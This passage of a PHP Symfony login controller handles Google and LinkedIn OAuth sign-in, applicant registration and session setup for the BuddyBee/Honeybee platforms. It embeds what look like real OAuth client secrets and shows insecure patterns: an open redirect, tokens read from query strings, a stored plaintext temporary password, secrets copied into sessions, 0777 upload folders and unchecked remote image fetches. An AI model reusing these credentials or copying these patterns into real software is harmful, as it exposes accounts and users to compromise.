  7148.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7149.                             return $this->redirect($request->request->get('referer_path'));
  7150.                         }
  7151.                     }
  7152.                     $redirectRoute 'applicant_dashboard';
  7153.                     if ($request->query->has('encData')) {
  7154.                         if ($request->query->get('encData') == '8917922')
  7155.                             $redirectRoute 'apply_for_consultant';
  7156.                     }
  7157.                     return $this->redirectToRoute($redirectRoute);
  7158.                 }
  7159. //                    $response = new JsonResponse(array(
  7160. //                        'token' => $token,
  7161. //                        'uid' => $session->get(UserConstants::USER_ID),
  7162. //                        'session' => $session,
  7163. //
  7164. //                        'success' => true,
  7165. //                        'session_data' => $session_data,
  7166. //
  7167. //                    ));
  7168. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7169. //                    return $response;
  7170. //                    return $this->redirectToRoute("user_login", [
  7171. //                        'id' => $isApplicantExist->getApplicantId(),
  7172. //                        'oAuthData' => $oAuthData,
  7173. //                        'encData' => $encData,
  7174. //                        'locale' => $request->request->get('locale', 'en'),
  7175. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7176. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7177. //                    ]);
  7178.             }
  7179.         }
  7180.         $selector BuddybeeConstant::$selector;
  7181.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7182.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7183.         if ($systemType == '_ERP_') {
  7184.         } else if ($systemType == '_CENTRAL_') {
  7185.             return $this->render(
  7186.                 '@Authentication/pages/views/central_login.html.twig',
  7187.                 [
  7188.                     'page_title' => 'Central Login',
  7189.                     'oAuthLink' => $google_client->createAuthUrl(),
  7190.                     'redirect_url' => $url,
  7191.                     'message' => $message,
  7192.                     'systemType' => $systemType,
  7193.                     'ownServerId' => $ownServerId,
  7194.                     'errorField' => '',
  7195.                     'encData' => $encData,
  7196.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7197.                     'selector' => $selector,
  7198.                 ]
  7199.             );
  7200.         } else if ($systemType == '_BUDDYBEE_') {
  7201.             return $this->render(
  7202.                 '@Authentication/pages/views/applicant_login.html.twig',
  7203.                 [
  7204.                     'page_title' => 'BuddyBee Login',
  7205.                     'oAuthLink' => $google_client->createAuthUrl(),
  7206.                     'redirect_url' => $url,
  7207.                     'message' => $message,
  7208.                     'errorField' => $errorField,
  7209.                     'encData' => $encData,
  7210.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7211.                     'selector' => $selector
  7212.                 ]
  7213.             );
  7214.         }
  7215.         return $this->render(
  7216.             '@Authentication/pages/views/applicant_login.html.twig',
  7217.             [
  7218.                 'page_title' => 'Applicant Registration',
  7219.                 'oAuthLink' => $google_client->createAuthUrl(),
  7220.                 'redirect_url' => $url,
  7221.                 'encData' => $encData,
  7222.                 'message' => $message,
  7223.                 'errorField' => $errorField,
  7224.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7225.                 'selector' => $selector
  7226.             ]
  7227.         );
  7228.     }
  7229.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7230.     {
  7231.         $session $request->getSession();
  7232.         $email $request->getSession()->get('userEmail');
  7233.         $sessionUserId $request->getSession()->get('userId');
  7234.         $oAuthData = [];
  7235. //    $encData='';
  7236.         $em $this->getDoctrine()->getManager('company_group');
  7237.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7238.         $redirectRoute 'dashboard';
  7239.         if ($encData != '') {
  7240.             if ($encData == '8917922')
  7241.                 $redirectRoute 'apply_for_consultant';
  7242.         }
  7243.         if ($request->query->has('encData')) {
  7244.             $encData $request->query->get('encData');
  7245.             if ($encData == '8917922')
  7246.                 $redirectRoute 'apply_for_consultant';
  7247.         }
  7248.         $message '';
  7249.         $errorField '_NONE_';
  7250.         if ($request->query->has('message')) {
  7251.             $message $request->query->get('message');
  7252.         }
  7253.         if ($request->query->has('errorField')) {
  7254.             $errorField $request->query->get('errorField');
  7255.         }
  7256.         if ($request->request->has('oAuthData')) {
  7257.             $oAuthData $request->request->get('oAuthData', []);
  7258.         } else {
  7259.             $oAuthData = [
  7260.                 'email' => $request->request->get('email'''),
  7261.                 'uniqueId' => $request->request->get('uniqueId'''),
  7262.                 'oAuthHash' => '_NONE_',
  7263.                 'image' => $request->request->get('image'''),
  7264.                 'emailVerified' => $request->request->get('emailVerified'''),
  7265.                 'name' => $request->request->get('name'''),
  7266.                 'firstName' => $request->request->get('firstName'''),
  7267.                 'lastName' => $request->request->get('lastName'''),
  7268.                 'type' => 1,
  7269.                 'token' => $request->request->get('oAuthtoken'''),
  7270.             ];
  7271.         }
  7272.         $isApplicantExist null;
  7273.         if ($email) {
  7274.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7275.                 $isApplicantExist $applicantRepo->findOneBy([
  7276.                     'applicantId' => $sessionUserId
  7277.                 ]);
  7278.             } else
  7279.                 return $this->redirectToRoute($redirectRoute);
  7280.         }
  7281.         $google_client = new Google_Client();
  7282. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7283. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7284.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7285.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7286.         } else {
  7287.             $url $this->generateUrl(
  7288.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7289.             );
  7290.         }
  7291.         $selector BuddybeeConstant::$selector;
  7292.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7293.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7294. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7295. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7296.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7297. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7298.         $google_client->setRedirectUri($url);
  7299.         $google_client->setAccessType('offline');        // offline access
  7300.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7301.         $google_client->addScope('email');
  7302.         $google_client->addScope('profile');
  7303.         $google_client->addScope('openid');
  7304. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7305.         //linked in 1st
  7306.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7307.             $curl curl_init();
  7308.             curl_setopt_array($curl, array(
  7309.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7310.                 CURLOPT_HEADER => false,  // don't return headers
  7311.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7312.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7313.                 CURLOPT_ENCODING => "",     // handle compressed
  7314.                 CURLOPT_USERAGENT => "test"// name of client
  7315.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7316.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7317.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7318.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7319.                 CURLOPT_USERAGENT => 'InnoPM',
  7320.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7321.                 CURLOPT_POST => 1,
  7322.                 CURLOPT_HTTPHEADER => array(
  7323.                     'Content-Type: application/x-www-form-urlencoded'
  7324.                 )
  7325.             ));
  7326.             $content curl_exec($curl);
  7327.             $contentArray = [];
  7328.             curl_close($curl);
  7329.             $token false;
  7330. //      return new JsonResponse(array(
  7331. //          'content'=>$content,
  7332. //          'contentArray'=>json_decode($content,true),
  7333. //
  7334. //      ));
  7335.             if ($content) {
  7336.                 $contentArray json_decode($contenttrue);
  7337.                 $token $contentArray['access_token'];
  7338.             }
  7339.             if ($token) {
  7340.                 $applicantInfo = [];
  7341.                 $curl curl_init();
  7342.                 curl_setopt_array($curl, array(
  7343.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7344.                     CURLOPT_HEADER => false,  // don't return headers
  7345.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7346.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7347.                     CURLOPT_ENCODING => "",     // handle compressed
  7348.                     CURLOPT_USERAGENT => "test"// name of client
  7349.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7350.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7351.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7352.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7353.                     CURLOPT_USERAGENT => 'InnoPM',
  7354.                     CURLOPT_HTTPGET => 1,
  7355.                     CURLOPT_HTTPHEADER => array(
  7356.                         'Authorization: Bearer ' $token,
  7357.                         'Header-Key-2: Header-Value-2'
  7358.                     )
  7359.                 ));
  7360.                 $userGeneralcontent curl_exec($curl);
  7361.                 curl_close($curl);
  7362.                 if ($userGeneralcontent) {
  7363.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7364.                 }
  7365.                 $curl curl_init();
  7366.                 curl_setopt_array($curl, array(
  7367.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7368.                     CURLOPT_HEADER => false,  // don't return headers
  7369.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7370.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7371.                     CURLOPT_ENCODING => "",     // handle compressed
  7372.                     CURLOPT_USERAGENT => "test"// name of client
  7373.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7374.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7375.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7376.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7377. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7378.                     CURLOPT_USERAGENT => 'InnoPM',
  7379.                     CURLOPT_HTTPGET => 1,
  7380.                     CURLOPT_HTTPHEADER => array(
  7381.                         'Authorization: Bearer ' $token,
  7382.                         'Header-Key-2: Header-Value-2'
  7383.                     )
  7384.                 ));
  7385.                 $userEmailcontent curl_exec($curl);
  7386.                 curl_close($curl);
  7387.                 $token false;
  7388.                 if ($userEmailcontent) {
  7389.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7390.                 }
  7391. //        $oAuthEmail = $applicantInfo['email'];
  7392. //        return new JsonResponse(array(
  7393. //          'userEmailcontent'=>$userEmailcontent,
  7394. //          'userGeneralcontent'=>$userGeneralcontent,
  7395. //        ));
  7396. //        return new response($userGeneralcontent);
  7397.                 $oAuthData = [
  7398.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7399.                     'uniqueId' => $userGeneralcontent['id'],
  7400.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7401.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7402.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7403.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7404.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7405.                     'type' => 1,
  7406.                     'token' => $token,
  7407.                 ];
  7408.             }
  7409.         } else if (isset($_GET["code"])) {
  7410.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7411.             if (!isset($token['error'])) {
  7412.                 $google_client->setAccessToken($token['access_token']);
  7413.                 $google_service = new Google_Service_Oauth2($google_client);
  7414.                 $applicantInfo $google_service->userinfo->get();
  7415.                 $oAuthEmail $applicantInfo['email'];
  7416.                 $oAuthData = [
  7417.                     'email' => $applicantInfo['email'],
  7418.                     'uniqueId' => $applicantInfo['id'],
  7419.                     'image' => $applicantInfo['picture'],
  7420.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7421.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7422.                     'firstName' => $applicantInfo['givenName'],
  7423.                     'lastName' => $applicantInfo['familyName'],
  7424.                     'type' => $token['token_type'],
  7425.                     'token' => $token['access_token'],
  7426.                 ];
  7427.             }
  7428.         } else if (isset($_GET["access_token"])) {
  7429.             $token $_GET["access_token"];
  7430.             $tokenType $_GET["token_type"];
  7431.             if (!isset($token['error'])) {
  7432.                 $google_client->setAccessToken($token);
  7433.                 $google_service = new Google_Service_Oauth2($google_client);
  7434.                 $applicantInfo $google_service->userinfo->get();
  7435.                 $oAuthEmail $applicantInfo['email'];
  7436.                 $oAuthData = [
  7437.                     'email' => $applicantInfo['email'],
  7438.                     'uniqueId' => $applicantInfo['id'],
  7439.                     'image' => $applicantInfo['picture'],
  7440.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7441.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7442.                     'firstName' => $applicantInfo['givenName'],
  7443.                     'lastName' => $applicantInfo['familyName'],
  7444.                     'type' => $tokenType,
  7445.                     'token' => $token,
  7446.                 ];
  7447.             }
  7448.         }
  7449.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7450.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  7451.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  7452.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  7453.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  7454.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7455.                 $isApplicantExist $applicantRepo->findOneBy([
  7456.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7457.                 ]);
  7458.             }
  7459.             if ($isApplicantExist) {
  7460.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7461.                 } else
  7462.                     return $this->redirectToRoute("core_login", [
  7463.                         'id' => $isApplicantExist->getApplicantId(),
  7464.                         'oAuthData' => $oAuthData,
  7465.                         'encData' => $encData,
  7466.                         'locale' => $request->request->get('locale''en'),
  7467.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7468.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7469.                     ]);
  7470.             } else {
  7471.                 $fname $oAuthData['firstName'];
  7472.                 $lname $oAuthData['lastName'];
  7473.                 $img $oAuthData['image'];
  7474.                 $email $oAuthData['email'];
  7475.                 $oAuthEmail $oAuthData['email'];
  7476.                 $userName explode('@'$email)[0];
  7477.                 //now check if same username exists
  7478.                 $username_already_exist 1;
  7479.                 $initial_user_name $userName;
  7480.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7481.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7482.                     $isUsernameExist $applicantRepo->findOneBy([
  7483.                         'username' => $userName
  7484.                     ]);
  7485.                     if ($isUsernameExist) {
  7486.                         $username_already_exist 1;
  7487.                         $userName $initial_user_name '' rand(3009987);
  7488.                     } else {
  7489.                         $username_already_exist 0;
  7490.                     }
  7491.                     $timeoutSafeCount--;
  7492.                 }
  7493.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7494.                     $currentUnixTimeStamp '';
  7495.                     $currentUnixTime = new \DateTime();
  7496.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7497.                     $userName $userName '' $currentUnixTimeStamp;
  7498.                 }
  7499.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7500.                 $charactersLength strlen($characters);
  7501.                 $length 8;
  7502.                 $password 0;
  7503.                 for ($i 0$i $length$i++) {
  7504.                     $password .= $characters[rand(0$charactersLength 1)];
  7505.                 }
  7506.                 $newApplicant = new EntityApplicantDetails();
  7507.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7508.                 $newApplicant->setEmail($email);
  7509.                 $newApplicant->setUserName($userName);
  7510.                 $newApplicant->setFirstname($fname);
  7511.                 $newApplicant->setLastname($lname);
  7512.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7513.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7514.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7515.                 $newApplicant->setAccountStatus(1);
  7516.                 $salt uniqid(mt_rand());
  7517.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7518.                 $newApplicant->setPassword($encodedPassword);
  7519.                 $newApplicant->setSalt($salt);
  7520.                 $newApplicant->setTempPassword($password);;
  7521. //                $newApplicant->setPassword($password);
  7522.                 $marker $userName '-' time();
  7523. //                $extension_here=$uploadedFile->guessExtension();
  7524. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7525. //                $path = $fileName;
  7526.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7527.                 if (!file_exists($upl_dir)) {
  7528.                     mkdir($upl_dir0777true);
  7529.                 }
  7530.                 $ch curl_init($img);
  7531.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7532.                 curl_setopt($chCURLOPT_FILE$fp);
  7533.                 curl_setopt($chCURLOPT_HEADER0);
  7534.                 curl_exec($ch);
  7535.                 curl_close($ch);
  7536.                 fclose($fp);
  7537.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7538. //                $newApplicant->setImage($img);
  7539.                 $newApplicant->setIsConsultant(0);
  7540.                 $newApplicant->setIsTemporaryEntry(0);
  7541.                 $newApplicant->setApplyForConsultant(0);
  7542.                 $em->persist($newApplicant);
  7543.                 $em->flush();
  7544.                 // GR2 (GROWTH) â€” fresh registration: stamp the viral-touch conversion if this
  7545.                 // browser landed via a GR1 backlink. Fully guarded inside; never affects signup.
  7546.                 \ApplicationBundle\Modules\LeadGen\Service\ViralAttributionService::stampConversion($em$request$newApplicant->getId());
  7547.                 $isApplicantExist $newApplicant;
  7548.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7549.                     if ($systemType == '_BUDDYBEE_') {
  7550.                         $bodyHtml '';
  7551.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7552.                         $bodyData = array(
  7553.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7554.                             'email' => $userName,
  7555.                             'password' => $newApplicant->getPassword(),
  7556.                         );
  7557.                         $attachments = [];
  7558.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7559. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7560.                         $new_mail $this->get('mail_module');
  7561.                         $new_mail->sendMyMail(array(
  7562.                             'senderHash' => '_CUSTOM_',
  7563.                             //                        'senderHash'=>'_CUSTOM_',
  7564.                             'forwardToMailAddress' => $forwardToMailAddress,
  7565.                             'subject' => 'Welcome to BuddyBee ',
  7566. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7567.                             'attachments' => $attachments,
  7568.                             'toAddress' => $forwardToMailAddress,
  7569.                             'fromAddress' => 'registration@buddybee.eu',
  7570.                             'userName' => 'registration@buddybee.eu',
  7571.                             'password' => ApplicationBundleHelperMailerConfig::registrationPassword(),
  7572.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7573.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7574.                             'encryptionMethod' => 'ssl',
  7575. //                            'emailBody' => $bodyHtml,
  7576.                             'mailTemplate' => $bodyTemplate,
  7577.                             'templateData' => $bodyData,
  7578. //                        'embedCompanyImage' => 1,
  7579. //                        'companyId' => $companyId,
  7580. //                        'companyImagePath' => $company_data->getImage()
  7581.                         ));
  7582.                     } else {
  7583.                         $bodyHtml '';
  7584.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7585.                         $bodyData = array(
  7586.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7587.                             'email' => 'APP-' $userName,
  7588.                             'password' => $newApplicant->getPassword(),
  7589.                         );
  7590.                         $attachments = [];
  7591.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7592. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7593.                         $new_mail $this->get('mail_module');
  7594.                         $new_mail->sendMyMail(array(
  7595.                             'senderHash' => '_CUSTOM_',
  7596.                             //                        'senderHash'=>'_CUSTOM_',
  7597.                             'forwardToMailAddress' => $forwardToMailAddress,
  7598.                             'subject' => 'Applicant Registration on Honeybee',
  7599. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7600.                             'attachments' => $attachments,
  7601.                             'toAddress' => $forwardToMailAddress,
  7602.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7603.                             'userName' => 'accounts@ourhoneybee.eu',
  7604.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  7605.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7606.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7607.                             'encryptionMethod' => 'ssl',
  7608. //                            'emailBody' => $bodyHtml,
  7609.                             'mailTemplate' => $bodyTemplate,
  7610.                             'templateData' => $bodyData,
  7611. //                        'embedCompanyImage' => 1,
  7612. //                        'companyId' => $companyId,
  7613. //                        'companyImagePath' => $company_data->getImage()
  7614.                         ));
  7615.                     }
  7616.                 }
  7617.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7618.                 } else {
  7619.                     return $this->redirectToRoute("core_login", [
  7620.                         'id' => $newApplicant->getApplicantId(),
  7621.                         'oAuthData' => $oAuthData,
  7622.                         'encData' => $encData,
  7623.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7624.                         'locale' => $request->request->get('locale''en'),
  7625.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7626.                     ]);
  7627.                 }
  7628.             }
  7629.         }
  7630.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7631.             if ($isApplicantExist) {
  7632.                 $user $isApplicantExist;
  7633.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7634.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7635.                 $globalId $user->getApplicantId();
  7636.                 $gocList $em
  7637.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7638.                     ->findBy(
  7639.                         array(//                        'active' => 1
  7640.                         )
  7641.                     );
  7642.                 $gocDataList = [];
  7643.                 $gocDataListForLoginWeb = [];
  7644.                 $gocDataListByAppId = [];
  7645.                 foreach ($gocList as $entry) {
  7646.                     $d = array(
  7647.                         'name' => $entry->getName(),
  7648.                         'image' => $entry->getImage(),
  7649.                         'id' => $entry->getId(),
  7650.                         'appId' => $entry->getAppId(),
  7651.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7652.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7653.                         'dbName' => $entry->getDbName(),
  7654.                         'dbUser' => $entry->getDbUser(),
  7655.                         'dbPass' => $entry->getDbPass(),
  7656.                         'dbHost' => $entry->getDbHost(),
  7657.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7658.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7659.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7660.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7661.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7662.                     );
  7663.                     $gocDataList[$entry->getId()] = $d;
  7664.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7665.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7666.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7667.                 }
  7668.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7669.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7670.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7671.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7672.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7673.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7674.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7675.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7676.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7677.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7678.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7679.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7680.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7681.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7682.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7683.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7684.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7685.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7686.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7687.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7688.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7689.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7690.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7691.                     $session->set('userCompanyVibrantList'json_encode([]));
  7692.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7693.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7694.                     $session->set(UserConstants::USER_APP_ID0);
  7695.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7696.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7697.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7698.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7699.                     $session->set(UserConstants::USER_GOC_ID0);
  7700.                     $session->set(UserConstants::USER_DB_NAME'');
  7701.                     $session->set(UserConstants::USER_DB_USER'');
  7702.                     $session->set(UserConstants::USER_DB_PASS'');
  7703.                     $session->set(UserConstants::USER_DB_HOST'');
  7704.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7705.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7706.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7707.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7708.                     $session->set('locale'$request->request->get('locale'''));
  7709.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7710.                     $route_list_array = [];
  7711.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7712.                     $loginID 0;
  7713.                     $loginID MiscActions::addEntityUserLoginLog(
  7714.                         $em,
  7715.                         $session->get(UserConstants::USER_ID),
  7716.                         $session->get(UserConstants::USER_ID),
  7717.                         1,
  7718.                         $request->server->get("REMOTE_ADDR"),
  7719.                         0,
  7720.                         $request->request->get('deviceId'''),
  7721.                         $request->request->get('oAuthToken'''),
  7722.                         $request->request->get('oAuthType'''),
  7723.                         $request->request->get('locale'''),
  7724.                         $request->request->get('firebaseToken''')
  7725.                     );
  7726.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7727.                     $session_data = array(
  7728.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7729.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7730.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7731.                         'oAuthToken' => $session->get('oAuthToken'),
  7732.                         'locale' => $session->get('locale'),
  7733.                         'firebaseToken' => $session->get('firebaseToken'),
  7734.                         'token' => $session->get('token'),
  7735.                         'firstLogin' => 0,
  7736.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7737.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7738.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7739.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
